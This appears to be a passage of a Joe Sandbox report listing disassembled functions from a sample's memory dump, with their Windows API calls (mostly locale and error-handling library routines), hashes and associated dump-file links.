Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2ced7d04679416ff547e122d14439edbbb3f20156b041ca297403ccbcf9d49c1
Instruction ID: 953f3bb93e6c6e50e23863ca8c402cddad363b1d05697bfa9938ac8c9e974196
Opcode Fuzzy Hash: 2ced7d04679416ff547e122d14439edbbb3f20156b041ca297403ccbcf9d49c1
Instruction Fuzzy Hash: 01112F372007059FDB189F3AC8A16BABBA1FF84368B14452DE94787B41D7717943D740

Function 00AEC66C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00AEC406,00000000,00000000,?), ref: 00AEC698

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a2be8b360139daa566c1468b2987799a459a0cf7b0bebd7789bd38fc19e97b7f
Instruction ID: e97247095f4533db4e508ba176e6451cd75bea2194ad365318225b5bd9be0690
Opcode Fuzzy Hash: a2be8b360139daa566c1468b2987799a459a0cf7b0bebd7789bd38fc19e97b7f
Instruction Fuzzy Hash: 33F0C833640191BBDB286B66CD05BBB7B68EF40774F151429EC06A3180EE74FE43CA91

Function 00AEC15F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

EnumSystemLocalesW.KERNEL32(00AEC43D,00000001,?,?,-00000050,?,00AEC7DF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00AEC1A9

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9e8395b5b21414b44397e333b6d6a6f2859ce861e8f2b4ccd6bce267d236ffcc
Instruction ID: f3875f2a9bcd894a1a8d699efb93642e58f5446213cf50b87a3b45673aec03d8
Opcode Fuzzy Hash: 9e8395b5b21414b44397e333b6d6a6f2859ce861e8f2b4ccd6bce267d236ffcc
Instruction Fuzzy Hash: 07F046362003446FCB145F7A9C81A7A7B90FF80338F04452DF9094B682C671AC03CB10

Function 00AE5ACF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ADDB11: EnterCriticalSection.KERNEL32(?,?,00AE48D9,?,00AFB2A0,00000008,00AE4A9D,?,00ADC196,?), ref: 00ADDB20

EnumSystemLocalesW.KERNEL32(00AE5AC2,00000001,00AFB360,0000000C,00AE5E75,00000000), ref: 00AE5B07

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 6714acf9ec85fd36f2ebb1f2b9cd6b7bd700226073ca5a293e012602c0e432ec
Instruction ID: d42f4affd2edc6631f55ad292280b0ef874788cc16ecc28e6cd48bf5edb26e53
Opcode Fuzzy Hash: 6714acf9ec85fd36f2ebb1f2b9cd6b7bd700226073ca5a293e012602c0e432ec
Instruction Fuzzy Hash: 9AF04972A40304EFD704EFA8E942BAD77F0FB48729F00466AF4119B3A0DBB59901CB50

Function 00AEC079 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

EnumSystemLocalesW.KERNEL32(00AEBFD2,00000001,?,?,?,00AEC83D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00AEC0B0

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 4030a69004e2fc208f00f08eb5f2413a467519d3bf94ce05bed5c6cc11a29646
Instruction ID: a27a15476a28e84ea081e995128fcc1f8e0134141eaaa5534336a6443838c59e
Opcode Fuzzy Hash: 4030a69004e2fc208f00f08eb5f2413a467519d3bf94ce05bed5c6cc11a29646
Instruction Fuzzy Hash: 3DF0E53630024597CB049F76DC55B7ABF94FFC1724B064058EA098B691C672A943C7A0

Function 00AE5F79 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00AE2100,?,20001004,00000000,00000002,?,?,00AE1700), ref: 00AE5FAD

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: bff3397c7a3ff496a0545d508ca0c9fa096536e7d21753b4776b2ad93a24aa9f
Instruction ID: 78a8410df4f54420568f66a8fff74bc68f2fafedeba769e9039c179d678be077
Opcode Fuzzy Hash: bff3397c7a3ff496a0545d508ca0c9fa096536e7d21753b4776b2ad93a24aa9f
Instruction Fuzzy Hash: E3E04F32904558BBCF126FB2EC05FAE7F26EF44760F044010FD0566161CB318D21EB95

Function 00AD77FF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000780B,00AD6B10), ref: 00AD7804

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 90fa62b5786b184258fce0ab5f09673341960b301ce459f1aa17c6a019440318
Instruction ID: 8565c338036016efe1e1cdcbc8d8e76f85b2d459672648654368f4fd34e415a9
Opcode Fuzzy Hash: 90fa62b5786b184258fce0ab5f09673341960b301ce459f1aa17c6a019440318
Instruction Fuzzy Hash:

Function 00AD1D65 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00AD1E87

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 7ccb647073b58a076747cd482a820533ebeaf15c96889fbeb6714fa61af378c7
Instruction ID: 0afcd347897b7461b3b26558524906a82bb5ea98ddd64ca21d7828d3b53ffde7
Opcode Fuzzy Hash: 7ccb647073b58a076747cd482a820533ebeaf15c96889fbeb6714fa61af378c7
Instruction Fuzzy Hash: 0841F876E1052B5BDB0CEFB8C9561AEBB65E746350B04427BDD11DB391E2308A0186D0

Function 00AEC99D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00AEC99D

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1ebe5373ac358326657522c6a08a1bb015572180d71a438ae55df926849bd6e2
Instruction ID: bc62712dd27dba3c12c447a31ec627494a125c1976e2dbf27bc131cfc75a1334
Opcode Fuzzy Hash: 1ebe5373ac358326657522c6a08a1bb015572180d71a438ae55df926849bd6e2
Instruction Fuzzy Hash: 11A011302002008B8308CFB2AA0A3083AACAA08A8230080A8A008C2020FA30C0208F0A

Function 00B28D2E Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction ID: b82da28d76d6e4911ed8d882d44deb4edd5e2d4ca551a9796f642cc2fdc55dce
Opcode Fuzzy Hash: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction Fuzzy Hash: BC02C333D496B24B8B310EBA14E42277FE09E02B5171F46E9DDDC3F19AC612DD1696E0

Function 00B29D1B Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: cf9660042795d51359cd9cfa1153c96db83b05b5e5522d71db18b2dd0082fef4
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 45C1A073D0A5B3458B35812E286823BEEE2AE82B4171FC3D5DCDC3F28DC6266D1691D0

Function 00B29933 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 3a455145db607d26f4faec82c6000dab08dfcbf8fc76c1a4c40c37eca26c64ad
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 58C18173D1A5B3458B36452E286823FEEE2AE92B4171F83D5DCDC3F28DC2226D5295D0

Function 00B29561 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: 482d93d93862c9ed1791536d0c1703a69289d089c4be823dadcdea5d239dbdfa
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 81C18273D1A5B3458B36452E186823EEEE2AE92B4171F83D5CCDC3F28DC2266D1696D0

Function 00AEB888 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 3acb2aaec7147df3779e1690d87b2ac1327aee13e266759969825964ff82fd0d
Instruction ID: bcfb26fcdef9a64aaac4de8895e771f14a70bebe34f622a72630ecfdcc23542b
Opcode Fuzzy Hash: 3acb2aaec7147df3779e1690d87b2ac1327aee13e266759969825964ff82fd0d
Instruction Fuzzy Hash: CAB1F7355107828BDB34AF26CCD6BB7B3A9EF54308F14452DEA83C6681EB75E945CB20

Function 00B291C3 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: 47332a98d4d24b4301b737b95f9297f7b64d017101ec1fd0a913dc6750f72892
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: 11B16433D0A5B3458B36452E246823BFEE2AE91B4171AC3D5DCEC3F28DC126AD1695D0

Function 00B17705 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: ee51dd140f2cc7ac63c66894495f0c1cc3ba83997523651d8919b1fd5d45f3ad
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: FA21D0216B4AE305CB858FF8FCC015267D1CBCD21BB9EC2B9CE54CA1A6D16DE662C590

Function 00AFD38D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: 868f884de685691f32509a4bf0a07bd66c84a8061a694dd2b123025333c6a91e
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: 22F08232904118EBCF12CF55D804ABAF7B9EB43364F253154E609B7200C330ED10EA99

Function 00AFD01B Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction ID: ea3e4387b39ce806ce78312b7a9645757156f0a8d6b1af2c7d6898ca67931afe
Opcode Fuzzy Hash: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction Fuzzy Hash: 77F03072900A19AFD714CFADD5415DFFBF8EB48320B10856ED4AAF3260D630FA458B51

Function 00B1458A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 00AFD36A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
